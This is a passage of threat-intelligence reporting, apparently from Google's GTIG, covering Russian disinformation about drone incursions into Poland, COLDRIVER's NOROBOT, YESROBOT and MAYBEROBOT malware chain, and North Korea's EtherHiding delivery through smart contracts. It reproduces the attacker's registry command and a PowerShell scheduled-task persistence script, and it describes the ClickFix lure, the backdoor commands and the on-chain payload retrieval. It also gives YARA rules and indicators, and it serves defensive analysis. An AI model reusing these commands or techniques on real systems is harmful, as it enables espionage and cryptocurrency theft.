• A Polish-language article published to the domain of the Doppelganger custom media brand “Polski Kompas” promoted a narrative that leveraged the drone incursions as a means to claim that the Polish people do not support the government’s Ukraine policy. The article claimed that such support not only places a burden on Poland’s budget, but also risks the security and safety of the Polish people. 

• A German-language article published to the domain of the Doppelganger custom media brand “Deutsche Intelligenz” claimed that the European reaction to the drone incident was hyperinflated by officials as part of an effort to intimidate Europeans into entering conflict with Russia. The article claimed that Russia provided warning about the drones, underscoring that they were not threatening, and that NATO used this as pretext to increase its regional presence—steps that the article claimed pose a risk to Russia’s security and could lead to war.

Niezależny Dziennik Polityczny (NDP)

The online publication "Niezależny Dziennik Polityczny" is a self-proclaimed "independent political journal" focused on Polish domestic politics and foreign policy and is the primary dissemination vector leveraged by the eponymously named long-standing, pro-Russia influence campaign, which GTIG refers to as "NDP". The publication has historically leveraged a number of suspected inauthentic personas as editors or contributing authors, most of whom have previously maintained accounts across multiple Western social media platforms and Polish-language blogging sites. NDP has been characterized by multiple sources as a prolific purveyor of primarily anti-NATO disinformation and has recently been a significant amplifier within the Polish information space of pro-Russia disinformation surrounding Russia's ongoing invasion of Ukraine.

Examples of NDP promoted narratives related to the incursion of Russian drones into Polish airspace:

• GTIG observed an article published under the name of a previously attributed NDP persona, which referenced the recent Polish response to the Russian drone incursion as a component of ongoing “war hysteria” artificially constructed to distract the Polish people from domestic issues. The article further framed other NATO activity in the region as disproportionate and potentially destabilizing (Figure 3). 

• Additionally, GTIG observed content promoted by NDP branded social media assets that referenced the drone incursion in the days following these events. This included posts that alleged that Poland had been pre-warned about the drones, that Polish leadership was cynically and disproportionately responding to the incident, and that a majority of Poles blame Ukraine, NATO, or the Polish Government for the incident.

Outlook

Covert information operations and the spread of disinformation are increasingly key components of Russian state-aligned actors' efforts to advance their interests in the context of conflict. Enabled by an established online ecosystem, these actors seek to manipulate audiences to achieve ends like the exaggeration of kinetic military action’s efficacy and the incitement of fear, uncertainty, and doubt within vulnerable populations. The use of covert influence tactics in these instances is manifold: at minimum, it undermines society’s ability to establish a fact-based understanding of potential threats in real-time by diluting the information environment with noise; in tandem, it is also used to both shape realities on the ground and project messaging strategically aligned with one’s interests—both domestically and to international audiences abroad. 

While the aforementioned observations highlight tactics leveraged by specifically Russia-aligned threat actors within the context of recent Russian drone incursions into Polish airspace, these observations are largely consistent with historical expectations of various ideologically-aligned threat actors tracked by GTIG and their respective efforts to saturate target information environments during wartime. Understanding both how and why malicious threat actors exploit high-profile, and often emerging, geopolitical stressors to further their political objectives is critical in identifying both how the threats themselves manifest and how to mitigate their potential impact. Separately, we note that the recent mobilization of covert assets within Russia’s propaganda and disinformation ecosystem in response to Russia’s drone incursion into Polish airspace is yet another data point suggesting Poland—and NATO allied countries, more broadly—will remain a high priority target of Russia-aligned influence activities.

Written by: Wesley Shields

Introduction 

COLDRIVER, a Russian state-sponsored threat group known for targeting high profile individuals in NGOs, policy advisors and dissidents, swiftly shifted operations after the May 2025 public disclosure of its LOSTKEYS malware, operationalizing new malware families five days later. It is unclear how long COLDRIVER had this malware in development, but GTIG has not observed a single instance of LOSTKEYS since publication. Instead, GTIG has seen new malware used more aggressively than any other previous malware campaigns we have attributed to COLDRIVER (also known as UNC4057, Star Blizzard, and Callisto).

The new malware, which GTIG attributes directly to COLDRIVER, has undergone multiple iterations since discovery, indicating a rapidly increased development and operations tempo from COLDRIVER. It is a collection of related malware families connected via a delivery chain. GTIG seeks to build on details on a part of this infection chain released in a recent Zscaler blog post by sharing wider details on the infection chain and related malware.

Malware Development Overview 

This re-tooling began with a new malicious DLL called NOROBOT delivered via an updated COLDCOPY “ClickFix” lure that pretends to be a custom CAPTCHA. This is similar to previous LOSTKEYS deployment by COLDRIVER, but updates the infection by leveraging the user to execute the malicious DLL via rundll32, instead of the older multi-stage PowerShell method.

While the earliest version of NOROBOT led to the deployment of a cumbersome Python backdoor tracked as YESROBOT, COLDRIVER quickly abandoned YESROBOT for a more flexible and extensible Powershell backdoor we track as MAYBEROBOT.

NOROBOT and its preceding infection chain have been subject to constant evolution—initially simplified to increase chances of successful deployment, before re-introducing complexity by splitting cryptography keys. The shift back to more complex delivery chains increases the difficulty of tracking their campaigns. This constant development highlights the group's efforts to evade detection systems for their delivery mechanism for continued intelligence collection against high-value targets.

Delivery via “ClickFix” and Rundll32

This new malware infection chain contains three distinct components which are delivered via a new variant of the COLDCOPY “ClickFix” lure (c4d0fba5aaafa40aef6836ed1414ae3eadc390e1969fdcb3b73c60fe7fb37897) previously seen delivering LOSTKEYS. The new variant of COLDCOPY tries to get the user to download and execute a DLL using rundll32, while trying to disguise itself as a captcha by including text to verify that the user is not a robot. The DLL first observed was named “iamnotarobot.dll” and the export was named “humanCheck” - both of which play into the CAPTCHA theme of the page and partially inspired the ROBOT-themed naming convention for the malware that follows.

NOROBOT

NOROBOT, also disclosed as BAITSWITCH by Zscaler, is a DLL that has been observed undergoing regular development from May through September 2025. In all of the versions observed the main purpose of NOROBOT has been to retrieve the next stage from a hardcoded command and control (C2) address and prepare the system for the final payload. The earliest version of NOROBOT (2e74f6bd9bf73131d3213399ed2f669ec5f75392de69edf8ce8196cd70eb6aee) made use of cryptography in which the key was split across multiple components and needed to be recombined in a specific way in order to successfully decrypt the final payload. This was likely done to make it more difficult to reconstruct the infection chain because if one of the downloaded components was missing the final payload would not decrypt properly. Despite this attempt to hinder analysis, the earliest version of NOROBOT included fetching and extracting a full Python 3.8 installation, which is a noisy artifact that is likely to raise suspicions.

Details of the files retrieved by this version of NOROBOT are:

• SFX RAR containing a Python 3.8 installation for Windows

• Command to store part of a crypto key in the registry

• Persistence via scheduled task

• Command to run bitsadmin to retrieve a file named libsystemhealthcheck.py

• Command to run bitsadmin to retrieve a file named libcryptopydatasize.py

Both files retrieved using bitsadmin are from inspectguarantee[.]org:

The registry key command is:

reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\.pietas" /v "ratio" /t REG_BINARY /d "f5e210ec114e1992b81ff89be58cfb2778005f734972239b9655b23fcee5593f19554d0a74dad52c67956781367b06e6" /f

Persistence is done via a scheduled task:

powershell -c "
$s = New-Object -ComObject Schedule.Service;
$s.Connect();
$t = $s.NewTask(0);
$p = $t.principal;
$p.logontype = 3;
$p.RunLevel = 0;
$a = $t.Actions.Create(0);
$a.Path = \"$env:APPDATA\Python38-64\pythonw.exe\";
$a.Arguments = \"$env:APPDATA\Python38-64\Lib\libsystemhealthcheck.py\";
$a.WorkingDirectory = \"$env:APPDATA\Python38-64\";
$tr = $t.Triggers.Create(9);
$tr.userID = \"$env:computername\"+\"\\\"+\"$env:username\";
$tr.enabled = $true;
$s.GetFolder(\"\").RegisterTaskDefinition(\"System health check\", $t, 6, $null, $null, 0) | Out-Null;
"

libsystemhealthcheck.py contains part of an AES key that is combined with the key stored in the registry and decrypts libcryptopydatasize.py, which we have named YESROBOT.

YESROBOT

The decrypted version of YESROBOT is a Python backdoor which uses HTTPS to retrieve commands from a hardcoded C2. The commands are AES encrypted with a hardcoded key. System information and username are encoded in the User-Agent header of the request. YESROBOT is a minimal backdoor that requires all commands to be valid Python, which makes typical functionality, such as downloading and executing files or retrieving documents, more cumbersome to implement. A typical approach would include the retrieval and execution logic in the backdoor and only require the operator to send the URL. This makes YESROBOT difficult to extend and operate, and hints that the deployment of YESROBOT was a hastily made choice. GTIG observed only two instances of YESROBOT deployment over a two week period in late May before it was abandoned in favor of a different backdoor, MAYBEROBOT. It is for these reasons that GTIG assesses that YESROBOT was hastily deployed as a stopgap mechanism after our publication on LOSTKEYS.

MAYBEROBOT

 In early June 2025, GTIG observed a variant of NOROBOT (3b49904b68aedb6031318438ad2ff7be4bf9fd865339330495b177d5c4be69d1) which was drastically simplified from earlier versions. This version fetches a single file, which we observed to be a single command that sets up a logon script for persistence. The logon script was a Powershell command which downloaded and executed the next stage, which we call MAYBEROBOT, also known as SIMPLEFIX by Zscaler.

The file fetched by the logon script was a heavily obfuscated Powershell script (b60100729de2f468caf686638ad513fe28ce61590d2b0d8db85af9edc5da98f9) that uses a hardcoded C2 and a custom protocol that supports 3 commands:

1. Download and execute from a specified URL

2. Execute the specified command using cmd.exe

3. Execute the specified powershell block

In all cases an acknowledgement is sent to the C2 at a different path, while in the case of command 2 and 3, output is sent to a third path.

GTIG assesses that MAYBEROBOT was developed to replace YESROBOT because it does not need a Python installation to execute, and because the protocol is extensible and allows attackers more flexibility when achieving objectives on target systems. While increased flexibility was certainly achieved, it is worth noting that MAYBEROBOT still has minimal built-in functionality and relies upon the operator to provide more complex commands like YESROBOT before it.

The ROBOTs Continue to Evolve

As GTIG continued to monitor and respond to COLDRIVER attempts to deliver NOROBOT to targets of interest from June through September 2025, we observed changes to both NOROBOT and the malware execution chain that indicate COLDRIVER was increasing their development tempo. GTIG has observed multiple versions of NOROBOT over time with varying degrees of simplicity. The specific changes made between NOROBOT variants highlight the group's persistent effort to evade detection systems while ensuring continued intelligence collection against high-value targets. However, by simplifying the NOROBOT downloader, COLDRIVER inadvertently made it easier for GTIG to track their activity. 

GTIG’s insight into the NOROBOT malware’s evolution aligned with our observation of their movement away from the older YESROBOT backdoor in favor of the newer MAYBEROBOT backdoor. GTIG assesses that COLDRIVER may have made changes to the final backdoor for several reasons: YESROBOT requiring a full Python interpreter to function is likely to increase detection in comparison to MAYBEROBOT, and YESROBOT backdoor was not easily extensible. 

As MAYBEROBOT became the more commonly observed final backdoor in these operations, the NOROBOT infection chain to get there continued evolving. Over the course of this period of time, COLDRIVER simplified their malware infection chain and implemented basic evasion techniques, such as rotating infrastructure and file naming conventions, paths where files were retrieved from, how those paths were constructed, changing the export name and changing the DLL name. Along with making these minor changes, COLDRIVER re-introduced the need to collect crypto keys and intermediate downloader stages to be able to properly reconstruct the full infection chain. Adding complexity back in may increase operational security for the operation as it makes reconstructing their activity more difficult. Network defenders need to collect multiple files and crypto keys to reconstruct the full attack chain; whereas in the simplified NOROBOT chain they only need the URL from the logon script to retrieve the final payload.

GTIG has observed multiple versions of NOROBOT indicating consistent development efforts, but the final backdoor of MAYBEROBOT has not changed. This indicates that COLDRIVER is interested in evading detection of their delivery mechanism while having high confidence that MAYBEROBOT is less likely to be detected.

Phishing or Malware?

It is currently not known why COLDRIVER chooses to deploy malware over the more traditional phishing they are known for, but it is clear that they have spent significant development effort to re-tool and deploy their malware to specific targets. One hypothesis is that COLDRIVER attempts to deploy NOROBOT and MAYBEROBOT on significant targets which they may have previously compromised via phishing and already stolen emails and contacts from, and are now looking to acquire additional intelligence value from information on their devices directly.

As COLDRIVER continues to develop and deploy this chain we believe that they will continue their aggressive deployment against high-value targets to achieve their intelligence collection requirements.

Protecting the Community

As part of our efforts to combat threat actors, we use the results of our research to improve the safety and security of Google’s products. Upon discovery, all identified malicious websites, domains and files are added to Safe Browsing to protect users from further exploitation. We also send targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity and encouraging potential targets to enable Enhanced Safe Browsing for Chrome and ensure that all devices are updated.

We are committed to sharing our findings with the security community to raise awareness and with companies and individuals that might have been targeted by these activities. We hope that improved understanding of tactics and techniques will enhance threat hunting capabilities and lead to stronger user protections across the industry.

Indicators of compromise (IOCs) and YARA rules are included in this post, and are also available as a GTI collection and rule pack.

Indicators of Compromise (IOCs)

The following indicators of compromise are available in a Google Threat Intelligence (GTI) collection for registered users.

YARA Rules

rule G_APT_Downloader_NOROBOT_2 {
  meta:
    author = "Google Threat Intelligence"
    description = "DLL which pulls down and executes next stages"
  strings:
    $path = "/konfiguration12/" wide
    $file0 = "arbeiter" wide
    $file1 = "schlange" wide
    $file2 = "gesundheitA" wide
    $file3 = "gesundheitB" wide

    $new_file0 = "/reglage/avec" wide
    $new_file1 = "/erreur" wide
  condition:
    filesize <= 1MB and
    (
      $path or
      all of ($file*) or
      all of ($new_file*) or
      (
        for any s in ("checkme.dll", "iamnotarobot.dll", "machinerie.dll"): (pe.dll_name == s) and
        for any s in ("humanCheck", "verifyme"): (pe.exports(s))
      )
    )
}

rule G_APT_BACKDOOR_YESROBOT_1 {
  meta:
    author = "Google Threat Intelligence Group (GTIG)"
  strings:
    $s0 = "return f'Mozilla/5.0 {base64.b64encode(str(get_machine_name()).encode()).decode()} {base64.b64encode(str(get_username()).encode()).decode()} {uuid} {get_windows_version()} {get_machine_locale()}'"
    $s1 = "'User-Agent': obtainUA(),"
    $s2 = "url = f\"https://{target}/connect\""
    $s3 = "print(f'{target} is not availible')"
    $s4 = "tgtIp = check_targets(tgtList)"
    $s5 = "cmd_url = f'https://{tgtIp}/command'"
    $s6 = "print('There is no availible servers...')"
  condition:
    4 of them
}

rule G_APT_BACKDOOR_MAYBEROBOT_1 {
  meta:
    author = "Google Threat Intelligence Group (GTIG)"
  strings:
    $replace = "-replace '\\n', ';' -replace '[^\\x20-\\x7E]', '' -replace '(?i)x[0-9A-Fa-f]{4}', '' -split \"\\n\""
  condition:
    all of them
}

Written by: Blas Kojusner, Robert Wallace, Joseph Dobson

Google Threat Intelligence Group (GTIG) has observed the North Korea (DPRK) threat actor UNC5342 using ‘EtherHiding’ to deliver malware and facilitate cryptocurrency theft, the first time GTIG has observed a nation-state actor adopting this method. This post is part of a two-part blog series on adversaries using EtherHiding, a technique that leverages transactions on public blockchains to store and retrieve malicious payloads—notable for its resilience against conventional takedown and blocklisting efforts. Read about UNC5142 campaign leveraging EtherHiding to distribute malware.

Since February 2025, GTIG has tracked UNC5342 incorporating EtherHiding into an ongoing social engineering campaign, dubbed Contagious Interview by Palo Alto Networks. In this campaign, the actor uses JADESNOW malware to deploy a JavaScript variant of INVISIBLEFERRET, which has led to numerous cryptocurrency heists.

How EtherHiding Works

EtherHiding emerged in September 2023 as a key component in the financially motivated CLEARFAKE campaign (UNC5142), which uses deceptive overlays, like fake browser update prompts, to manipulate users into executing malicious code.

EtherHiding involves embedding malicious code, often in the form of JavaScript payloads, within a smart contract on a public blockchain like BNB Smart Chain or Ethereum. This approach essentially turns the blockchain into a decentralized and highly resilient command-and-control (C2) server.

The typical attack chain unfolds as follows:

1. Initial Compromise: DPRK threat actors typically utilize social engineering for their initial compromise (e.g., fake job interviews, crypto games, etc.). Additionally, in the CLEARFAKE campaign, the attacker first gains access to a legitimate website, commonly a WordPress site, through vulnerabilities or stolen credentials.

2. Injection of a Loader Script: The attacker injects a small piece of JavaScript code, often referred to as a "loader," into the compromised website.

3. Fetching the Malicious Payload: When a user visits the compromised website, the loader script executes in their browser. This script then communicates with the blockchain to retrieve the main malicious payload stored in a remote server. A key aspect of this step is the use of a read-only function call (such as eth_call), which does not create a transaction on the blockchain. This ensures the retrieval of the malware is stealthy and avoids transaction fees (i.e. gas fees).

4. Payload Execution: Once fetched, the malicious payload is executed on the victim's computer. This can lead to various malicious activities, such as displaying fake login pages, installing information-stealing malware, or deploying ransomware.

Advantages for Attackers

EtherHiding offers several significant advantages to attackers, positioning it as a particularly challenging threat to mitigate:

• Decentralization and Resilience: Because malicious code is stored on a decentralized and permissionless blockchain, there is no central server that law enforcement or cybersecurity firms can take down. The malicious code remains accessible as long as the blockchain itself is operational.

• Anonymity: The pseudonymous nature of blockchain transactions makes it difficult to trace the identity of the attackers who deployed the smart contract.

• Immutability: Once a smart contract is deployed, the malicious code within it typically cannot be easily removed or altered by anyone other than the contract owner. 

• Stealth: Attackers can retrieve the malicious payload using read-only calls that do not leave a visible transaction history on the blockchain, making their activities harder to track.

• Flexibility: The attacker who controls the smart contract can update the malicious payload at any time. This allows them to change their attack methods, update domains, or deploy different types of malware to compromised websites simultaneously by simply updating the smart contract.

In essence, EtherHiding represents a shift toward next-generation bulletproof hosting, where the inherent features of blockchain technology are repurposed for malicious ends. This technique underscores the continuous evolution of cyber threats as attackers adapt and leverage new technologies to their advantage.

DPRK Social Engineering Campaign

North Korea's social engineering campaign is a sophisticated and ongoing cyber espionage and financially motivated operation that cleverly exploits the job application and interview process. This campaign targets developers, particularly in the cryptocurrency and technology sectors, to steal sensitive data, cryptocurrency, and gain persistent access to corporate networks.

The campaign has a dual purpose that aligns with North Korea's strategic goals:

• Financial Gain: A primary objective is the theft of cryptocurrency and other financial assets to generate revenue for the regime, helping it bypass international sanctions.

• Espionage: By compromising developers, the campaign aims to gather valuable intelligence and potentially gain a foothold in technology companies for future operations.

The campaign is characterized by its elaborate social engineering tactics that mimic legitimate recruitment processes.

1. The Phishing Lure:

• Fake Recruiters and Companies: The threat actors create convincing but fraudulent profiles on professional networking sites like LinkedIn and job boards. They often impersonate recruiters from well-known tech or cryptocurrency firms.

• Fabricated Companies: In some instances, they have gone as far as setting up fake company websites and social media presences for entities like "BlockNovas LLC," "Angeloper Agency," and "SoftGlideLLC" to appear legitimate.

• Targeted Outreach: They aggressively contact potential victims, such as software and web developers, with attractive job offers.

2. The Interview Process:

• Initial Engagement: The fake recruiters engage with candidates, often moving the conversation to platforms like Telegram or Discord.

• The Malicious Task: The core of the attack occurs during a technical assessment phase. Candidates are asked to perform a coding test or review a project, which requires them to download files from repositories like GitHub. These files contain malicious code.

• Deceptive Tools: In other variations, candidates are invited to a video interview and are prompted with a fake error message (a technique called ClickFix) that requires them to download a supposed "fix" or a specific software to proceed, which is actually the malware.

3. The Infection Chain:

The campaign employs a multi-stage malware infection process to compromise the victim's system, often affecting Windows, macOS, and Linux systems.

• Initial Downloader (e.g., JADESNOW): The malicious packages downloaded by the victim are often hosted on the npm (Node Package Manager) registry. These loaders may collect initial system information and download the next stage of malware.

• Second-Stage Malware (e.g., BEAVERTAIL, JADESNOW): The JavaScript-based malware is designed to scan for and exfiltrate sensitive data, with a particular focus on cryptocurrency wallets, browser extension data, and credentials. The addition of JADESNOW to the attack chain marks UNC5342’s shift towards EtherHiding to serve up the third-stage backdoor INVISIBLEFERRET.

• Third-Stage Backdoor (e.g., INVISIBLEFERRET): For high-value targets, a more persistent backdoor is deployed. INVISIBLEFERRET, a Python-based backdoor, provides the attackers remote control over the compromised system, allowing for long-term espionage, data theft, and lateral movement within a network. 

JADESNOW

JADESNOW is a JavaScript-based downloader malware family associated with the threat cluster UNC5342. JADESNOW utilizes EtherHiding to fetch, decrypt, and execute malicious payloads from smart contracts on the BNB Smart Chain and Ethereum. The input data stored in the smart contract may be Base64-encoded and XOR-encrypted. The final payload in the JADESNOW infection chain is usually a more persistent backdoor like INVISIBLEFERRET.JAVASCRIPT.

The deployment and management of JADESNOW differs from that of similar campaigns that implement EtherHiding, such as CLEARFAKE. The CLEARFAKE campaign, associated with the threat cluster UNC5142, functions as a malicious JavaScript framework and often masquerades as a Google Chrome browser update pop-up on compromised websites. The primary function of the embedded JavaScript is to download a payload after a user clicks the "Update Chrome" button. The second-stage payload is another Base64-encoded JavaScript stored on the BNB Smart Chain. The final payload may be bundled with other files that form part of a legitimate update, like images or configuration files, but the malware itself is usually an infostealer like LUMASTEALER.

Figure 1 presents a general overview of the social engineering attack chain. The victim receives a malicious interview question, deceiving the victim into running code that executes the initial JavaScript downloader that interacts with a malicious smart contract and downloads the second-stage payload. The smart contract hosts the JADESNOW downloader that interacts with Ethereum to fetch the third-stage payload, in this case INVISIBLEFERRET.JAVASCRIPT. The payload is run in memory and may query Ethereum for an additional credential stealer component. It is unusual to see a threat actor make use of multiple blockchains for EtherHiding activity; this may indicate operational compartmentalization between teams of North Korean cyber operators. Lastly, campaigns frequently leverage EtherHiding's flexible nature to update the infection chain and shift payload delivery locations. In one transaction, the JADESNOW downloader can switch from fetching a payload on Ethereum to fetching it on the BNB Smart Chain. This switch not only complicates analysis but also leverages lower transaction fees offered by alternate networks.

Malicious Smart Contracts

BNB Smart Chain and Ethereum are both designed to run decentralized applications (dApps) and smart contracts. A smart contract is code on a blockchain that automatically executes actions when certain conditions or agreements are met, enabling secure, transparent, and automated agreements without intermediaries. Smart contracts are compiled into bytecode and uploaded to the blockchain, making them publicly available to be disassembled for analysis.

BNB Smart Chain, like Ethereum, is a decentralized and permissionless blockchain network that supports smart contracts programmed for the Ethereum Virtual Machine (EVM). Although smart contracts offer innovative ways to build decentralized applications, their unchangeable nature is leveraged in EtherHiding to host and serve malicious code in a manner that cannot be easily blocked.

Making use of Ethereum and BNB Smart Chain for the purpose of EtherHiding is straightforward since it simply involves calling a custom smart contract on the blockchain. UNC5342’s interactions with the blockchain networks are done through centralized API service providers rather than Remote Procedure Call (RPC) endpoints, as seen with CLEARFAKE. When contacted by GTIG, responsible API service providers were quick to take action against this malicious activity; however, several other platforms have remained unresponsive. This indifference and lack of collaboration is a significant concern, as it increases the risk of this technique proliferating among threat actors.

JADESNOW On-Chain Analysis

The initial downloader queries the BNB Smart Chain through a variety of API providers, including Binplorer, to read the JADESNOW payload stored at the smart contract at address 0x8eac3198dd72f3e07108c4c7cff43108ad48a71c.

Figure 2 is an example of an API call to read data stored in the smart contract from the transaction history. The transaction details show that the contract has been updated over 20 times within the first four months, with each update costing an average of $1.37 USD in gas fees. The low cost and frequency of these updates illustrate the attacker’s ability to easily change the campaign’s configuration. This smart contract has also been linked to a software supply chain attack that impacted React Native Aria and GlueStack via compromised npm packages in June 2025

{
    timestamp: 1738949853,
    transactionHash: "0x5c77567fcf00c317b8156df8e00838105f16fdd4fbbc6cd83d624225397d8856",
    tokenInfo: {
        address: "0x8eac3198dd72f3e07108c4c7cff43108ad48a71c",
        (...)
        owner: "0x9bc1355344b54dedf3e44296916ed15653844509",
        (...)
        txsCount: 22,
        (...)
    },
    type: "issuance",
    value: "1",
    priority: 127,
    address: "0x9bc1355344b54dedf3e44296916ed15653844509"
}

Figure 2: ABI call for transaction history

Blockchain explorers like BscScan (for BNB Smart Chain) and Etherscan (for Ethereum) are essential tools for reviewing on-chain information like smart contract code and historic transactions to and from the contract. These transactions may include input data such as a variable Name, its Type, and the Data stored in that variable. Figure 3 shows on-chain activity at the transaction address 0x5c77567fcf00c317b8156df8e00838105f16fdd4fbbc6cd83d624225397d8856, where the Data field contains a Base64-encoded and XOR-encrypted message. This message decrypts to a heavily obfuscated JavaScript payload that GTIG assesses as the second-stage downloader, JADESNOW.